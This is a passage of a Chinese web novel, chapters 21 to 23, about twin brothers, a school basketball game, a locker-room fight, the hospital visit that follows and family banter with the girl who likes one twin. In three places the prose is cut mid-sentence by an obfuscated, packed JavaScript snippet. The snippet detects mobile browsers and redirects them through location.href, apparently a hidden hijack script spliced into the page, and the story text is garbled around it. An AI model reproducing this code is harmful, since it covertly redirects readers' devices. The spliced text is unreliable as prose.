“蓝色球衣的是郑骐,白色球衣的是韩骁,姐姐,我不想再说第五次了。” 袁文君点头如捣蒜:“记住了记住了,你喜欢的是韩骁?” 许悠然狠狠瞪了她一眼。 “郑骐,郑骐,咱们然然从小就好白马王子这口,不喜欢酷哥。”李薇薇笑着解释,生怕袁文君再问下去许悠然要暴走。 许悠然脸红了,憋着笑去掐李薇薇的腰,三个女孩笑闹着,挤来挤去。 “啊!”低低的惊叫声在人群中被迅速吞没。 21. 哥 “对不起!对不起!” 许悠然慌忙道歉,她躲袁文君一不留神踩了同学的脚。 “没……没关系。”声如蚊讷,但是柔柔的很好听。 许悠然看了看被她踩到的女孩,很眼熟。 “咱们好像是一个班的吧?”许悠然依稀记得班上有这么个人,长得很清秀,但是特别内向羞涩,说话总是很小声,好像随时准备逃跑。 女孩点点头,害羞地“嗯”了一声,双手不自觉扯着衣摆。 “你好,我叫许悠然,你叫什么名字?刚才踩了你的脚,真对不起。”许悠然对她甜甜一笑,声音清脆。 “程文静。”女孩回以一个恬静的微笑。 “我知道你,听说你是我们班进校第一名。你也喜欢看篮球啊,你到前面来吧,看得更清楚一点。”许悠然往袁文君那边挪了挪,示意程文静到前排来。 程文静连忙摆摆双手:“不用不用,我在这看就好了。” 其实她只是看到很多人往篮球馆跑才跟着来看看热闹。她刚刚从县城考到全市最好的高中,对一切都感到很新鲜很陌生。在上高中前,她没有离开过那个小县城。她也根本不知道篮球比赛规则,但是这热闹喧嚣的气氛让她很开心,挤在人群里好像她也属于这里一样。 许悠然的热情让她感到受宠若惊,不由自主地想缩进人堆里,尽量减少自己的存在感,就和在班里一样。她早就记住了班里这个娇憨可爱的女孩,可她显然今天才把她的名字和脸对上号。 许悠然也不勉强她,冲她笑了笑就转回身准备看比赛。 “她怎么也来看比赛了?平时只看到她学习,像个书呆子哈哈……”袁文君凑到许悠然耳边私语。 “别这么说,她只是有点害羞和内向。”许悠然又扭头对程文静笑了笑,程文静的确衣着朴素不善言辞,但是能从小县城考上一中就说明她绝对不是泛泛之辈。 “她也算是山沟里飞出的金凤凰了,我听说她家里条件不太好。” “你怎么连这个都知道?你是查户口的?”李薇薇白了袁文君一眼。 “嘿嘿,当班长总要多了解一下全班同学的情况嘛!我还知道许悠然从小就想嫁给她的干哥哥。” “你胡说八道……”许悠然羞得满脸通红,伸出手去捂袁文君的嘴。 “喂,是你自己说的啊!薇薇可以作证!”袁文君一边躲一边笑。 “哼!你看我以后还跟你说悄悄话!”许悠然气鼓鼓地转过身不理袁文君。 “别闹了,比赛要开始了。”李薇薇制止两人继续胡闹,指了指场上。 两边的球员开始往场中心聚拢,接着按照比赛惯例互相介绍,在裁判的一声哨响后,比赛正式开始了。 多亏《灌篮高手》热播和韩骁的强制科普,许悠然也被迫接受了篮球知识的熏陶,什么带球走步、篮板球、一对一盯人,都如数家珍。 郑骐的对手果然是韩骁,两个人在队里都承担着控球后卫的职责,两张一模一样的面孔,一样高大挺拔的身材,如果不是球衣颜色区分,只怕队友会传错球。 韩骁明显更熟练,总能准确判断出郑骐的球路,他的队友实力也不弱,加上平时练习多配合默契,郑骐这边打得有点艰苦,在势均力敌的体型和速度下,要取胜只能靠策略。 上半场很快结束了,高二(1)班小胜几分,下半场显然还有一场恶战。 郑骐这队的队长是个大个子中锋,身高1米9的篮球特长生,见分数落后脸上有点挂不住。 “下半场紧盯韩骁,郑骐,你的球路总被他看穿,得想想办法。” “没办法,双胞胎心灵感应么……”郑骐喝了口水,脸上淡淡的笑。 其余几个队友都忍俊不禁。本来么,学校举办的篮球赛,友谊第一,比赛第二,反正也不影响高考。 两个特长生互看一眼,不再言语。 下半场很快开始了。郑骐打着打着开始觉得不对劲。队友似乎自作主张变换了策略,从区域联防变换为全场盯人,几个人死死盯着韩骁。虽然上半场因为韩骁精准的三分投射导致外线失守,但是全场盯人对进攻并没有什么帮助,只会消耗更多体力。更过分的是,他们和韩骁之间的接触幅度越来越大,推搡力度也渐渐超过了正常防守进攻的界限。 郑骐知道韩骁在憋着火。没有人想输,但更要赢得光明正大。 郑骐索性尽量不给那两个队友传球。 时间一分一秒过去,虽然韩骁被盯得难以施展,但是郑骐这边也没占到什么便宜,消耗太多力量进行防守,导致进攻疲软,始终难以把对手甩开。分数你追我赶,比赛进行到了最后一分钟,高三(1)班领先一分,只要能撑过这一分钟,他们就赢了。 “韩骁!” 队友一声大喊,一个默契的空中长传,将球扔给了外线的韩骁。 韩骁接住球的瞬间就被两个又高又壮的对手围住,既没办法突围也没办法传球。 他冷静地判断局势,队友被一对一盯着,唯一一个有空当的人恰好是队里射篮技术不太好的,如果传给他球进不进两说,可能半道就被眼前这两个大个子给拦截了。 他没时间了。 跃起,投篮。 对手也跟着起跳阻止他射篮。 不好!是假动作。 韩骁灵活地躬下身子,又把球抱进了怀里。接着敏捷地转身,躲开对手的攻击,然后熟练地后退,脚尖挪到了三分线外。 跳起,射球。篮球在空中划出一道优美的弧线。全场鸦雀无声,好像集体屏住了呼吸。 “哐——” 球稳稳地进了球框。三分球! 全场哗然,欢呼声惊天动地,像是要掀翻球馆的天花板。 韩骁终于笑了。这是他比赛开始以来露出的第一个笑容。 “许悠然,我发现你二哥笑起来也很好看呀!比酷酷的时候好看多了。”袁文君看着被队友和同学簇拥着的韩骁,不吝夸奖。 许悠然顺着欢呼声看过去。人群中的韩骁意气风发,笑得灿烂明朗,和平时那张死人脸判若两人。 “切——”她不以为然,转头有些担忧地看向郑骐。 郑骐在喝水,表情平静,似乎并没有因为输球不快。 许悠然悬着的心放了下来,她就知道,不管输还是赢,郑骐都不会放在心上。真正厉害的人,不会在意一时的得失,郑骐就是这样的人。 可她还是想去安慰他,告诉他他也打得很棒。这么想就这么做了,她拿起一瓶运动饮料,蹦蹦跳跳朝郑骐走过去。 “郑骐,你打得好棒,就像……就像藤真!” 许悠然走到郑骐面前,把水拧开递给他,脸上的笑容像绽开的向日葵。 郑骐接过水,低下头露出一个有点无奈有点窘迫的微笑,他同学还在呢! 许悠然没见过他这幅不自在的样子,又往前凑了凑想看清他的表情。 “能不能给我留点面子?输了球总得表现得难过一点才正常,是吧?” 郑骐垂下头低声对她说。刚刚运动完的男生浑身散发着热气,夹杂着衣服上的香皂味和轻微的体味铺面而来。许悠然被他的气息环绕着心跳忍不住漏了一拍,反应过来后差点哈哈大笑。 郑骐轻轻拍拍她的肩:“你先回去吧,我还要换衣服,放学了等我一起走。” 许悠然乖乖点点头,像只纯白的小兔子一样欢快地跳走了。 远处的韩骁被围拥在人群中接受大家的祝贺和褒奖,他配合地跟大家点头微笑道谢,视线却越过人群,看向对面的郑骐和许悠然。 “诶,你真的不跟你二哥说声恭喜啊?他赢了耶。” 袁文君拽拽许悠然的袖子,一步三回头地看韩骁。 “我才不要呢!哼,前几天还害我摔一跤,我还没跟他算账呢!” “啧啧啧,一模一样的脸,却截然不同的待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118328|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇,真是令人寒心啊!” 袁文君说着还不忘变个腔调,模仿她想象中的韩骁:“然然,都是你哥,为什么他可以我不行?” 李薇薇被袁文君的怪模怪样逗得大笑,许悠然气得追着袁文君要掐她的脖子。 更衣室里气氛压抑,和外面的热闹欢笑有天壤之别,如同冰火两重天。 郑骐换好衣服,准备去吃饭。 “算了,胜败乃兵家常事,就当陪高二的弟弟们玩玩。”有人在劝队长。 “算什么算,要不是有人胳膊肘往外拐,我们会输吗?” 大个子队长意有所指地瞥了一眼郑骐。 郑骐装作没听见,拉开门就要离开。 “哐——”门被用力按住了。 郑骐平静地看着他,眼睛里有火苗在酝酿。 “松开。”他语调平淡,但是有逼人的气势。他从不轻易发火,甚至可以说他从小到大就没发过脾气,因为他觉得没必要,只有无能的人才会用发脾气的方式来宣泄情绪。 “别以为我不知道你故意不传球给我。我还以为年级第一多有能耐呢,原来也喜欢搞暗箱操作,韩骁这个冠军是不是要分一半给你?” 队长夹枪带棒一顿讽刺,郑骐冷冷听完,嘴角扬起一抹微笑:“抢得到球是你的能耐,传不传球是我的自由。我不知道什么是暗箱操作,我只知道男子汉大丈夫赢就要堂堂正正地赢,别搞什么小动作。” 眼看火药味越来越浓,几个队友都围了过来,有劝的,有拉的,有煽风点火的,也有沉默不语的。 郑骐无视队长的黑脸,用力把他的手从门把手上甩开,无所谓地耸耸肩:“只有输不起的人才会找别人的问题,如果你真觉得自己输得冤枉可以去找裁判,不行的话去找韩骁单挑也可以。我相信他很乐意跟你一对一。不过,一对一就没办法偷偷摸摸地下黑手了,你考虑好。” 队长脸上一阵白一阵红,他没想到郑骐看着斯文温和,说话竟这么不客气,当众拆他的台,恼羞成怒间,脏话就从嘴边溜了出来:“你他妈说清楚,谁下黑手了?” 郑骐把运动提包用力往地上一甩,他只是不发脾气,不是没脾气。 “你嘴巴放干净点,谁下黑手谁心里清楚。” “算了算了,他输了球心情不好,郑骐你别跟他一般见识……” “都是同学,没必要因为一场校内比赛伤了和气,各退一步,别吵了……” 大家怕把事情闹大,纷纷围上来劝解,也有个别人唯恐天下不乱冷言冷语、火上浇油。原本就不大的更衣室温度急剧升高,热浪翻涌,吵嚷声渐渐连外面都听见了。 “号外号外!高三(1)班输了比赛搞内讧在更衣室打起来了!” 有好事者经过听到吵闹声,马上跑到高二(1)班的更衣室报告了这个劲爆的消息。 “真的假的?快去看看。” 有热闹不看是王八蛋。 原本就是好勇斗狠的年纪,更别提是去看手下败将的丢人场面。 大家哄笑着一窝蜂涌出了更衣室,朝隔壁高三(1)班的更衣室跑去。 谁先动手的已经记不清了。场面一度混乱到有人趁乱扒了别人的裤子。 韩骁赶到的时候看到的就是大个子挥着拳头往郑骐脸上招呼。他想也没想就加入了战斗。 高二(1)班的人见韩骁被揍了,也毫不犹豫加入了混战,十来个男生,把狭小的更衣室挤得满满当当,门外还围满了看热闹的人。 大个子先是肚子上挨了郑骐一脚,接着背上又被韩骁狠狠揍了几拳。他怒向胆边生,干脆一不做二不休,操起手边的凳子就转身往离他更近的那张脸砸去,两张一样的脸,他甚至一时分不清自己砸的是谁。 “韩骁!” 韩骁被推得一个趔趄,差点摔倒在地。 “哥!” 凳子“哐当”一声掉落,鲜红的血滴落在白色衬衫上十分刺眼。 22. 嗟来之食 病房充斥着浓浓的消毒药水味,各种仪器“滴滴哒哒”的声音让人心里七上八下,像被绷紧的弦,女孩低声的啜泣更是给原本沉闷压抑的病房增添了几分悲怆和哀伤。 医院是见惯生老病死的地方,可年轻女孩动情的哭声还是让隔壁床的大婶有些动容,忍不住开口劝道:“小姑娘,别哭了,你哥哥他只是皮外伤而已,早上医生查房我都听到了,住院是以防万一,要不了几天他就生龙活虎了。” “真的?”许悠然抬起头,泪眼婆娑地问。 她得知郑骐受伤住院时已经是篮球赛结束的那天晚上,她回到家才听妈妈说郑骐和人打架进了医院。她恨不得马上就飞到医院,可妈妈不让,说这么晚了郑骐要休息,她一个女孩子去也不方便。她只得忐忑不安地熬了一晚,第二天中午趁着午休时间就跑到了医院。 郑骐睡着了,头上裹着厚厚的纱布,脸色有点苍白,但是睡得还算安稳。 她从来没见过郑骐这么虚弱的模样,干妈也不知道去哪里了,病房就他一个人。许悠然又心疼又着急,可又不知道该问谁,见纱布里还渗出点点血迹,忍不住胡思乱想着就眼泪决堤了。 大婶点点头,笑得慈祥,她很久没见到感情这样亲厚的兄妹了,心里对许悠然生出几分好感。这个女孩子看起来简单纯朴,为哥哥的病情担心得哭了,肯定是个好女孩。 许悠然擦干眼泪有些不好意思,吸吸鼻子,声音里带着浓重的鼻音,“谢谢婶婶。” 大婶闲着无聊正想找人说说话,笑眯眯地问:“小姑娘,你哥看着挺乖的,怎么还和人打架呢?” 许悠然捏紧拳头,气不打一处来:“不是他和别人打架,是别人篮球比赛输了不服气,找他麻烦,哼,就算打架也是手下败将。” 许悠然一早到学校已经把事情的来龙去脉弄清楚了。多亏李昊这个一线情报员,绘声绘色地把更衣室的场景描述了一番。 “你是没看到,我骁哥多勇猛,看到有人打他哥,冲上去对那小子就是一顿揍……” “跳过跳过,郑骐呢?挨打了吗?伤得重吗?”许悠然不耐烦听韩骁的英勇事迹,从小到大她听得够多了,她只想知道郑骐的情况。 李昊撇撇嘴:“那孙子打不过骁哥想从背后偷袭,赤手空拳他哪里是骁哥的对手,就不要脸地想趁乱拿凳子砸人,骁哥没防备,他哥把他推开替他挨了这一下……” “啊!”许悠然听得心惊胆战。 那么大一个凳子重重地砸下来,郑骐受得了吗?他肯定伤得很重…… 眼看许悠然就要哭出来,李昊慌忙摆摆手:“别急别急,早上我听骁哥说了,没大碍,就是头砸破了,流了点血,连脑震荡都没有……看不出来嘿,大哥大平时跟个书生似的文质彬彬,没想到身体这么扛揍呢……” 许悠然狠狠瞪了他一眼:“韩骁不是很能打吗?应该让他挨揍!要不是他,郑骐就不会受伤!”说完,她气呼呼回到教室,剩下的几节课都是数着时间度过的。 大婶听完乐了:“小姑娘气性还挺大,打架可不是什么好事,小伙子长得挺帅的,万一脑子打坏了可怎么办?” 许悠然一听,心又提了起来:“不是说只是皮外伤吗?”她见郑骐还没醒,睡梦中眉头微皱着,嘴唇上干得起了皮突兀地刺在那,心里忍不住难受,脸皱成一团,又快哭了。 她这模样把大婶逗笑了,摆手笑道:“别哭别哭,我哄你的……” 许悠然还是想哭。十六年来郑骐在她心里是无所不能的,没有他解不出来的数学题,没有他处理不了的麻烦,他是陪她玩保护她的哥哥,又像许仕明那样惯着她,她需要他是什么样他就是什么样。可现在许悠然才真切意识到,他也只是个少年而已,血肉之躯和她一样脆弱。 “他没事,你用不着哭成这样吧。”冷冷的声音带着一丝嘲讽。韩骁倚在门口冷眼看着抽泣的许悠然。 “哼,我想哭就哭,要你管!”许悠然抹一把眼泪,满脸忿然。 大婶见昨晚那个又酷又凶的男孩来了,马上转过身躺下,不敢再掺和。心里却忍不住纳闷,兄弟俩怎么区别这么大? “我当然不管,但是你这样哭别人会以为他怎么了,不吉利。” 韩骁把手上的塑料袋放在桌上,许悠然这才注意到他是来送饭的,袋子里不知道装的什么,一阵香气扑鼻而来。 “喂,你吃饭了没?”韩骁在许悠然旁边坐下,把郑骐露在外面的手往被子里塞了塞。 “喂,天很热,你想热死他吗?”许悠然抗议,她伸出手摸了摸郑骐的额头,不冷不热刚刚好。 “大小姐,医院有空调好吗?而且人睡着的时候体温会降低,你能不能有点常识?”韩骁瞟了她一眼,语气是一贯的嘲弄。 “就你有常识,就你厉害!那你怎么还要郑骐帮你打架?你不是很能打吗?”许悠然看着他完好无损的脸,想起李昊说的话,又看看躺在床上的郑骐,气急败坏,口不择言起来。 韩骁果然脸一沉,冷冷地说:“我没让他帮我打架,而且,这是我们兄弟俩的事,不管怎么算,我跟他都比你跟他要亲一些吧。” 韩骁一向口齿伶俐、巧舌如簧,许悠然是知道的。可是她没想到韩骁今天说出的话这么尖刻,几乎是明晃晃地说她多管闲事,越俎代庖。 许悠然气结,又想不到什么话来反击,脸憋得通红,恨不得一拳打在那张臭臭的脸上。两人静静对峙了几分钟,韩骁突然轻笑一声:“你不饿吗?” “我饿死也不吃你的饭!”许悠然转过身不再看他。 “行,等会儿饿晕了也没事,反正就在医院里,可以就近输液,打葡萄糖是比吃饭要快一点。” 许悠然听了气得往床头挪了挪,离他更远了点。她从小最怕打针,每次打预防针都哭得哇哇乱叫,一度成为大院里的笑谈。 韩骁说完开始从塑料袋里往外拿饭菜。不知道他在哪买的,饭菜闻起来格外香。 许悠然吸吸鼻子,感到肚子里的馋虫开始不受控制了。不行,嗟来之食吃了会肚子痛的! 韩骁打开饭盒的盖子,还特意用手扇了扇,阵阵香气蔓延在空气中,渐渐掩盖了消毒水的气味。 床板嘎吱嘎吱响了几声,郑骐手背半掩住眼睛,嘟哝着:“你们怎么到哪都吵?” 许悠然惊喜地睁大眼睛,扑倒他面前,“郑骐,你醒啦?” 郑骐半撑起身体,许悠然马上把枕头塞到他身后让他靠着,动作又快又熟练,引来韩骁一声嗤笑。 许悠然白他一眼,转头看着郑骐,眼里满是担忧和心疼,“你晕不晕?头痛不痛?有没有什么不舒服?要不要我去找医生来?” 郑骐摇摇头,笑得有些无奈,见许悠然眼睛红红的,显然是哭过了,只得耐着性子安抚她,“这么多问题,你到底要我回答哪句?然然,我没事,就是流了点血要观察一下,明天就能出院了。” “真的?你没骗我?”许悠然不放心地看了看他头上包裹的纱布。 “真的,我本来睡得正香,被你俩吵醒了,加上肚子也饿了,不信我现在马上吃一大碗饭给你看看。”郑骐笑着在许悠然胳膊上拍了拍,让她坐下。 “韩骁,你带什么好吃的了?”郑骐是真的饿了,昨天下午进医院到现在他就没吃什么东西,本来打篮球就很消耗体力,又打了一场架,早就饥肠辘辘了。 韩骁把饭菜一样样拿出来,色香味俱全,摆了满满一桌,别说他们兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123388|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩,就是四个人也够了。 “然然,你不饿?”郑骐见许悠然对钟爱的排骨视若无睹,十分惊讶。 “我不饿,我喂你吃吧,万一你突然头晕怎么办?”许悠然端起饭碗,急切地想证明自己其实非常细心体贴,很会照顾人。 郑骐好笑地拦住她喂过来的勺子,“然然,我是头受伤了,不是手断了,我能自己吃,这是你最喜欢的排骨,快吃吧,你肯定饿了。” 许悠然失望地放下碗筷,闷闷地说:“我不饿。” 韩骁瞥了她一眼,也没动筷子。 郑骐看看许悠然,又看看韩骁,无可奈何地叹气:“你们是看望病人还是折腾我来着?行,然然你不吃,我也不吃。” 许悠然偷偷瞄了韩骁一眼,故作为难地端起饭碗,“那……那我吃……一点点……” 郑骐笑着往她碗里夹排骨,好脾气地附和:“一点点,一点点,我知道,你吃得一点都不多。” 韩骁扭头憋笑,转回头却又是那副冷冰冰的模样,故意嫌弃地把排骨往许悠然那边推了推:“太咸了。” 许悠然吃得正香,想也没想接口就说:“不咸啊,很好吃。”完全忘了自己刚才还和韩骁剑拔弩张。 “好吃就多吃点,你太瘦了。”郑骐怜爱地看着许悠然,又往她碗里夹了几块排骨,好像受伤住院的那个人是她。 “切!她还瘦?”韩骁冷哼一声。 “要你管!我又不要你背!”许悠然嘴里含着饭,声音听起来软软糯糯的。 “是,是,我才不做那个倒霉蛋。”韩骁讥讽地扫她一眼。 “咳咳咳……”郑骐被饭呛到了。 三个人吃完饭,许悠然把碗筷收拾好扔进外面的垃圾桶,又去把郑骐的保温杯灌满开水,嘱咐他多喝水。 郑骐目不转睛地看着她忙碌地走来走去,嘴角不自觉噙着笑容。其实并没有什么事情可做,但许悠然就是能找到一点事情磨蹭着不肯离开。一会儿是倒垃圾,一会儿又问他空调是不是太冷了,一会儿又殷勤地帮隔壁床大婶打水,像个勤劳的小媳妇。 这个联想让郑骐心里一惊,紧接着又涌上了一点甜。 “然然,时间不早了,你该回去上课了。”郑骐看看挂钟,催促她离开。 “啊,时间怎么过得这么快?”许悠然看看时间有点依依不舍。 她不敢逃课,只得期期艾艾地走到门口,在郑骐再三保证明天出院后她才肯离开。 郑骐果然第二天就出院了,不过还要在家休息几天,这个星期索性就不去学校了。许悠然的心也从学校飞走了,一放学就借口请教功课,自动跑到干妈家报到,给郑骐端茶倒水、嘘寒问暖,惹得干妈取笑她是不是准备当小护士。 郑骐头上的纱布已经拆了,让许悠然给他看看有没有留下疤。许悠然在他身后低下头,熟悉的清新气息扑鼻而来。曾经许悠然一度以为男孩子身上都是这种气味,干净清新混合着淡淡的香皂味。直到有次经过篮球场被一个刚打完篮球的冒失家伙撞到,被他浑身的汗臭味熏得皱眉才知道,这是独属于郑骐的气味。 郑骐的头发乌黑浓密,几乎看不到发缝,她仔细地在发丝间寻找,终于找到了一道三厘米左右的疤痕,粉粉的细细的,像一条盘桓在头皮上的毛毛虫。 郑骐摸摸脑袋,自嘲道:“幸好头发给遮住了,不然人家以为我是混社会的。” “那你可不能秃顶,不然就更像了,光头、疤痕,再在胳膊上弄个纹身……”许悠然想象着那个模样的郑骐,觉得十分滑稽。 “怎么可能,你看我爸,现在头发都那么多,这个是遗传。” 两人正讨论着头发的事情,韩少蓉尖利的大嗓门传了进来。 23. 镜子 “你可真是出息了啊,人家说君子报仇,十年不晚,你倒好,有仇不隔夜,当天就报!” 韩骁别着头跟在韩少蓉身后,一副不服气的模样。 “你是不是不记个大过不甘心?本来就是两败俱伤的事情,你非得再把人揍一顿,现在有理也变成没理了,你说,你让我怎么跟人家长交代?” “妈,怎么了?”郑骐走到客厅,不明就里地看着韩少蓉,又看看桀骜不驯的韩骁。 “你的好弟弟,昨天晚上带人把那个打你的学生给打了,现在人家也进了医院。你的好弟弟还跟人说,以其人之道还其人之身,现在扯平了,谁也不用赔谁医药费了。”韩少蓉简直要被韩骁的逻辑气笑了。 许悠然听了眼睛一亮,看向韩骁的目光里前所未有地多了几分敬仰。 韩骁坏事没少干,这次终于干了一件好事。她要是男生,也想去把那个家伙揍一顿! 郑骐无语。觉得他的头又开始痛了。 “本来没想打来着,那家伙跟我单挑篮球输了赖账,玩不起又想玩,我只是给他长长教训,让他知道不是什么人都能惹得起的。” 韩骁一脸鄙夷,也不太理解怎么会有这样的人。明明说好输了就要当面跟郑骐道歉认错,结果输了又赖账,简直是丢男人的脸。 “武力能解决所有的问题?那还读书干什么,你打我我打你不就完了?”韩少蓉气得想给韩老爷子打电话,这小子油盐不进,只怕姥爷。 “武力不能解决所有问题,但是能解决制造问题的人。”韩骁一本正经回答。 许悠然“噗嗤”一声笑了,见郑骐看她忙捂住嘴,收回笑,配合地摆出一副严肃面孔。 “你!我不跟你说了,到时候记个大过我看你怎么办!”韩少蓉甩手走开,她是没法子了,韩骁这小子从小就能言善辩,又臭又硬。 “伤得重不重?”郑骐长叹一声,心情很复杂。 “不重,和你差不多。”韩骁无所谓地耸耸肩,“可能就是口子长一点,没事儿,过几天就长好了。” “学校怎么说?” “该怎么说怎么说呗,那小子死要面子,应该不会到处说他被我打了的事情,我在学校外面动的手。他要追究也行,我奉陪到底,看他能挨几次。” 郑骐撑住额头,感觉头真的开始痛了。 饭桌上,许悠然难得地和韩骁一团和气。 “他是不是哭着求饶?”许悠然很想知道当时的情况,恨不得要韩骁给她场景重现。 “那也不至于,只说他认输了。这种人,你不把他打服了,以后还会背后给你使绊子。” “你是单挑还是群殴?”许悠然记起看过的古惑仔电影,觉得韩骁此时就像里面的大哥一样酷,想到操场上女同学说的话,不禁觉得有几分道理。这样的韩骁看起来好像……没那么讨厌? “你看不起谁呢!我是那种人多欺负人少的人吗?当然是一对一,别看那小子长得高,其实笨得很,十来个回合就被我打趴下了。”韩骁说着还举起胳膊秀了秀自己结实的肱二头肌。 “韩骁,你还得意上了是吧?”韩少蓉用筷子抽了一下他后脑勺,心里又开始悔恨当初为什么生的是儿子。 “这不是许悠然要问的吗,你打她呀干嘛打我?再说,我这不是为了给郑骐出气吗,他惹谁不好,敢惹我韩骁的兄弟,不给他点颜色看看,我在学校还怎么混?” “我谢谢您。”郑骐皮笑肉不笑地冲他点点头。 “不客气,应该的,谁让你比我大十分钟呢。”韩骁亲热地搂住郑骐的肩膀,故作亲昵地凑上去。 “松开,恶心。”郑骐抖抖肩膀,嫌弃地拂开他的手。 许悠然和韩少蓉笑得直抽气。 “听说我宝贝孙子被人揍了?” 几个人正又笑又闹,郑老爷子大喇喇走进来,后面还跟着人未到声先到的韩老爷子。 “打哪儿了?快让我看看!” 郑骐和韩骁互看一眼,是谁大嘴巴告诉两个老人的?是你?反正不是我。 韩少蓉忙起身招呼两个老人。郑老爷子平时没大事不上门,知道儿媳妇工作忙,还要照顾两个孙子,他帮不上忙也不想添乱。韩老爷子没事爱在家里捣鼓点中草药,现在还开始种菜了,更不愿意给女儿找麻烦。要不是医院他以前的学生告诉他郑骐住院的事,他还不知道外孙跟人打架受伤。赶忙通知亲家后,两个人约着就溜达过来了。 “我们在外面吃过了,你不用忙,到底是怎么回事,怎么就被人打了呢?”郑老爷子心急,抱着韩骁的脑袋当成宝贝一样看来看去。 “快给姥爷看看,好了没啊,这么快就出院,别留下什么后遗症。”韩老爷子把郑老爷子往旁边一挤,“你又不是医生,看什么看!” 韩骁躲开两个老人,嘴里直嚷嚷:“爷爷,姥爷,你们又认错人了!” 老人回过神,又仔细瞅了瞅,确认自己认错了这才转向郑骐,又抱着他的脑袋检查起来。 郑骐哭笑不得,又不忍心悖逆老人,只得乖乖让他们摸来摸去,“爷爷,姥爷,真没事了,要不我现在给你们翻个跟头?” 韩骁和许悠然看他被摸来摸去又无可奈何,埋头闷笑。 韩少蓉见事情瞒不住,只得避重就轻地把前因后果交代了一番。 郑老爷子听到韩骁又把打郑骐的人给打了的时候哈哈大笑,声如洪钟:“这就对了,上阵父子兵,打虎亲兄弟,你们兄弟俩就该这样,拧成一股绳,让这个坏小子吃点教训!” 韩骁见有人撑腰了,瞬间理直气壮,蹭到郑老爷子面前,竖起大拇指:“我就知道爷爷最明事理!” 他话音未落,韩老爷子就拧住了他的耳朵:“你这小子,现在是把人打进医院了,等人出院了再带更多人来打你们呢?冤冤相报何时了,以德服人明白吗?” 韩骁先是配合地“哇哇”叫了两声,然后才反驳:“姥爷,这以德服人也要看对象……” 郑骐忙上前把韩老爷子扶到沙发上坐下:“姥爷,我真的没事,韩骁都是为了给我出气,怪我,怪我。” 韩老爷子心疼地摸摸郑骐的头:“姥爷给你开几个补脑的方子,我孙子这么聪明的脑子,可别给打坏了。” 郑老爷子不满地瞪着他:“以德服什么人,你以为打仗是请客吃饭,你讲讲道理别人就自己缴械投降了?不真刀真枪地把他们打趴下,他不知道谁是老大!咱们郑家可没孬种。” 韩老爷子冷哼一声:“韩骁姓韩。” 郑老爷子呼吸一滞,哑口无言。 韩少蓉彻底放弃说服这老老少少四个顽固的男人,闷头吃饭谁也不理。 许悠然吃着饭看着戏觉得心情无比舒畅,仿佛回到了小时候在两个老人家里快乐的童年时光。 卤水点豆腐,一物降一物。韩老爷子功力深厚,一对二,仍有余力。刚才还横得不行的韩骁现在乖乖罚站,一声不吭。脾气火爆的郑老爷子气得吹胡子瞪眼睛,却束手无策。郑骐忙于调停,这头劝,那头哄,焦头烂额。 许悠然希望这样的日子永远不要结束。 初秋天黑得早了些,两个老人发泄完了终于准备离开。走到院门口,郑老爷子回头瞅了瞅两个大孙子,还是不放心。 “这个……你们姥爷说得对,能不动手还是不动手,老打架不好。然然,你在学校给爷爷盯着他们,要是再打架你就偷偷跟我报告,过年我给你一个比他俩都大的红包。” 许悠然乖巧地过去搀住郑老爷子的胳膊,甜甜笑道:“郑爷爷说话算话,我保证完成任务!” 郑老爷子笑眯眯看着她,打趣道:“现在怎么叫我‘郑爷爷’了,小时候不是‘爷爷’‘爷爷’的叫得很亲热么?什么时候把“郑”给去了?” “爷爷——” 郑骐无可奈何地看了看越老越顽皮的郑老爷子,又去看许悠然。 许悠然听出郑老爷子的言外之意,心中觉得又甜蜜又羞涩,忍不住抬起头想看看郑骐的表情,两人视线正好在黑暗中触碰,郑骐对她微微一笑,许悠然也笑着看他,无言的默契在两人之间流淌。 “哈哈,爷爷还想要孙女,看来得让我爸加把劲了。”韩骁嬉皮笑脸,刚说完就被郑老爷子揣了一脚。 韩老爷子见许悠然小脸泛红,没好气地啐他:“老没正经的,快走吧!” 纸终究包不住火,当天在场目击的人不少,人多口杂,篮球队打架的事情还是被学校知道了。本着公正公平的原则,学校初步决定给韩骁和队长一人一个记过处分。 韩骁无所谓。凭他的成绩考大学没问题,他对什么争先评优也没兴趣,记过就记过呗。 李昊乐呵呵地凑上去,满脸崇拜:“骁哥,你现在已经是全校男生的偶像了,那小子仗着自己身强力壮老是霸占篮球场,在食堂也老插队,大家敢怒不敢言很久了。现在可好了,你给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126936|163966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家出了一口恶气,我有几个朋友都想跟你混,你要不要赏脸接见一下?” “滚!混什么混?我像出来混的吗?”韩骁白他一眼,“要不是他在太岁头上动土,我才懒得和他计较。你别打着我旗号乱收小弟,我还得学习参加高考。” 